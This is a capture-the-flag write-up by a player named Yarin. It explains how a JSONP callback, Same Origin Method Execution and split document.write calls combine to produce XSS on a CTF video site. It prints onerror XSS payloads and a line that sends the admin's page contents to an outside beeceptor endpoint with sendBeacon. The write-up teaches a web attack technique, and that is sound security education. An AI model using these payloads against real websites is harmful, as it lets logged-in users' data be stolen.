JSONP → SOME → XSS
Hey! This is a writeup about a semi-hard web client side challenge.
Part 1 — First Look
After simple login (not intresting) you can see publicly listed videos, more like a video. Clicking it leads to:
Also, you can go to a list of your publicly hosted videos and you can host some!
Part 2 — Second Look
After I understood what the site allows me to do I began to look deeper, in other words, I opened the source code.
I will mention the source code alot later, take a look at it see if you can spot some vulnerabilities, before I reveal them.
Also by monitoring the network traffic monitor I saw a request:
Response:
I immediately noticed the JSONP format, response is javascript, calling a callback with json as an argument. Notice how our data is returned in the json we’ll get back to that.
JSONP can also be seen in the source code:
Segway— What the hell is JSONP?
You can skip this section if you know about this already
JSONP (JSON with padding) is a way web programmers pulled a third finger on the SOP policy.
The Same Origin Policy is a simple web law where one origin (www.google.com) cannot retrieve information from another origin (www.elgoog.com) by the behalf of the user AKA in client side land.
So instead of using the intenional method of Cross Origin Resource Sharing, we use this hacky way to transfer information, it works like so:
Script tags execute javascript from any domain. This is a fact. For like 99.9% browsers. So using this knowledge we can tell another site that *we* created some function we pass the callback parameter with it’s name, then the other site will be like ALRIGHT here have a JAVASCRIPT file that surrounds our data with your function. Totally not data in JavaScript-sheep’s clothing.
The JSONP Result:
processWeatherCallback({"weather_today": "pretty pog"})
In my website, I have:
function processWeatherCallback(data) {
console.log(`The weather today ${data['weather_today'}`)
}
var script = document.createElement('script');
script.src = 'www.elgoog.com/weather_jsonp?callback=processWeatherCallback';
document.body.appendChild(script);
This will trigger the function I created with the data from cross origin.
Now, you are probably looking at me like “So can I put whatever I want into the callback parameter and it will be reflected in a javascript output that the client execute!?”, woah woah not so fast. First you need control of the callback parameter and second, it is recommended for JSONP to only allow minimal characterset for the callback so [a-zA-Z0–9._]* is usually the deal.
Part 3 — Controlling the callback parameter (SOME)
It is important to note that the view url of the video viewer is:
https://somevideos.appsecil.ctf.today/videos/view?id=8e86f0bb-0384-44c9-b81b-c319767e4899
The source code again:
So here I was looking at this obvious injection shouting “I will just put &callback=SOMETHING in my id parameter” oh wait then it won’t be the id parameter anymore. Like always when at first you don’t successed, try url encoding.
new URL(location).searchParams.get('id');
when searchParams is initated it url decodes every parameter it finds, thus allowing us to shove %26callback=alert resulting in a call to:
Now if we look at the response we should see — oh no
Because this is something I have already seen in the wild, I knew the problem right away. The server instead of taking the first occurence of a parameter key it takes the final one. This is beacuse Amit (the author) is evil.
We can mitgrate it easily by adding # (urlencoded %23) and making the #&callback=loadVideo the hash portion of a url which is like it doesn’t even exists. Read more about location.hash.
YES! We just GOT SOME! no, not that you dirty heads! we got Same Origin Method Execution!
Part 4 — Limitions
So, at this point of the challenge I have my SOME and I just thought about which functions can I call that will give me that sweet sweet XSS.
If you missed the memo from before the callback parameter in this challenge is limited by this charset: [a-zA-Z0–9_.] It also must be some kind of function, because it is followed by ({our data})
WAIT it’s followed WITH OUR DATA, look again!
Let’s revisit the creation of a new video:
title — Limit of 13 characters, no url encoding, no shananigns.
description — No Limit, url encoding & html entities, a lot of shananigns.
source — Url. Obviously url encoded. Probably irrelevant.
Now, I’ve solved challenges like this before and they usually allow us to SOME more than once or they allow characters that allow multiline execution (like ; , any operator really and \u2028 or \u2029)
But here when we have our data reflected in the information it usually means evaluating it or pushing it to the dom. Before we try both options we need to look at a subtle yet important part of the challenge
Part 5 — #debug
What does it mean to change the toString prototype of Object? If you don’t know what prototype is go right ahead, click this sentence, yes this one.
Basically running toString on any object will return it self as a json string.({“test”: “hello”}) + ({“yep”: “makes sense”})
> “{\“test\”:\”hello\”}{\“yep\”:\”makes sense\”}”
Now go back to our SOME attack, we can call any function and the object passed will be JSON if the function internally calls toString!
First let’s try the setTimeout function it is well known the setTimeout function calls .toString on it’s argument, however because of the ‘:’ , “{\”test\”: \”11213\”}” is not valid code.
Now let’s try the other option, pushing our data to dom. The first thing that came to my mind is the obvious candidate document.write, it calls toString on it’s argument and it can inejct html thus lead to XSS!
Let’s try it!
I will admit this is the first time I saw this error, it makes sense, using document.write will basically remove the script element executing my code. so it isn’t possible.
To bypass this, instead of writing our page we can write another page (same origin). To do this, I created a simple website using beeceptor.com, like so.
The result:
It worked! by document.write-ing the other iframe I am not actually effecting the original document. Here is a simple digraph for confused fella
Now what?
Part 6 — XSS
Writing to document is cool and all but we still want arbitrary code execution not just SOME code execution. bad pun intended.
The most basic well understood XSS payload is
<img src=X onerror=alert(1) />
We can control 3 parts of the json, the title, the description and the url. we already talked about their limitions which basically allow us to inejct < > characters using the title (as there’s no encoding) but it is limited to 13 characters and well, yes, go ahead, count it.
However, we don’t actually need to write the entire payload into the title section we can use the description just not include any special characters.
We have a small problem what’s with that /> .. we can’t put it in the url, it’s a url. It’s url encoded.
So at this point I was kinda stuck until I remembered that document.write after a document.write will actually append content not rewrite. But I still wondered what will happen if in one document.write call I will write an open tag and the second one I will close it. So, apprantly YES?
this is great news becuase it will allow us to actually use two iframes, two write calls and essentially:
How can we achieve that, well it’s quite simple:
Let’s see this in action:
It worked! (It doesn’t sometimes because iframe loading race and /> runs before <img)
WAIT but where is the alert box? let’s take a look at the source code and check the img tag
The onerror is actually a part of a bigger attribute we need to seperate it. but we can’t use spaces remember? they get encoded.. so we will need a different trick.
<img/src/onerror=alert(1337) />
/ can be a subsutitute for spaces. God knows why. So let’s change our description and pray:
Nothing again? Why now?
Okay, forgot to comment out the rest of this garbage json. Also accidently added a newline in the description, my bad.
WE GOT SOME XSS!
Part 7 — Stealing the flag
(I didn’t mention it because it’s a regular part of client side web challenges but in the source code theres a route which submits a url for the admin to visit the admin is already logged in to the services)
Like any other CTF challenge after getting your beloved XSS you gotta bombard the challenge author with the classic “WHERE IS THE F*ING FLAG”. Only to recieve a provoking emoji of a bird. Not joking,
So I thought for a second and realized it’s probably in one of his videos.
/onerror=fetch('/videos').then(e=>e.text().then(txt=>navigator.sendBeacon('{mybeeceptor}',txt)));//
Among the entire html content there was a video titled “Not the flag” which had the description of
AppSec-IL{00p5_un3xp3c73d_54m3_0r161n_m37h0d_3x3cu710n}
Part 8 — The more Intended Solution
After talking to the author and showing him my solution he told me the more intended solution was to seperate your payload into groups of 13 and basically push them to the dom one by one. He told me he should’ve filtered out “=” from the description. too late.
Part 9 — About Me
My name’s Yarin. I love websec and especially client side websec.
Follow my twitter:
https://twitter.com/CmdEngineer_
And follow my CTF team’s twitter:
https://twitter.com/hexion_team
See ya later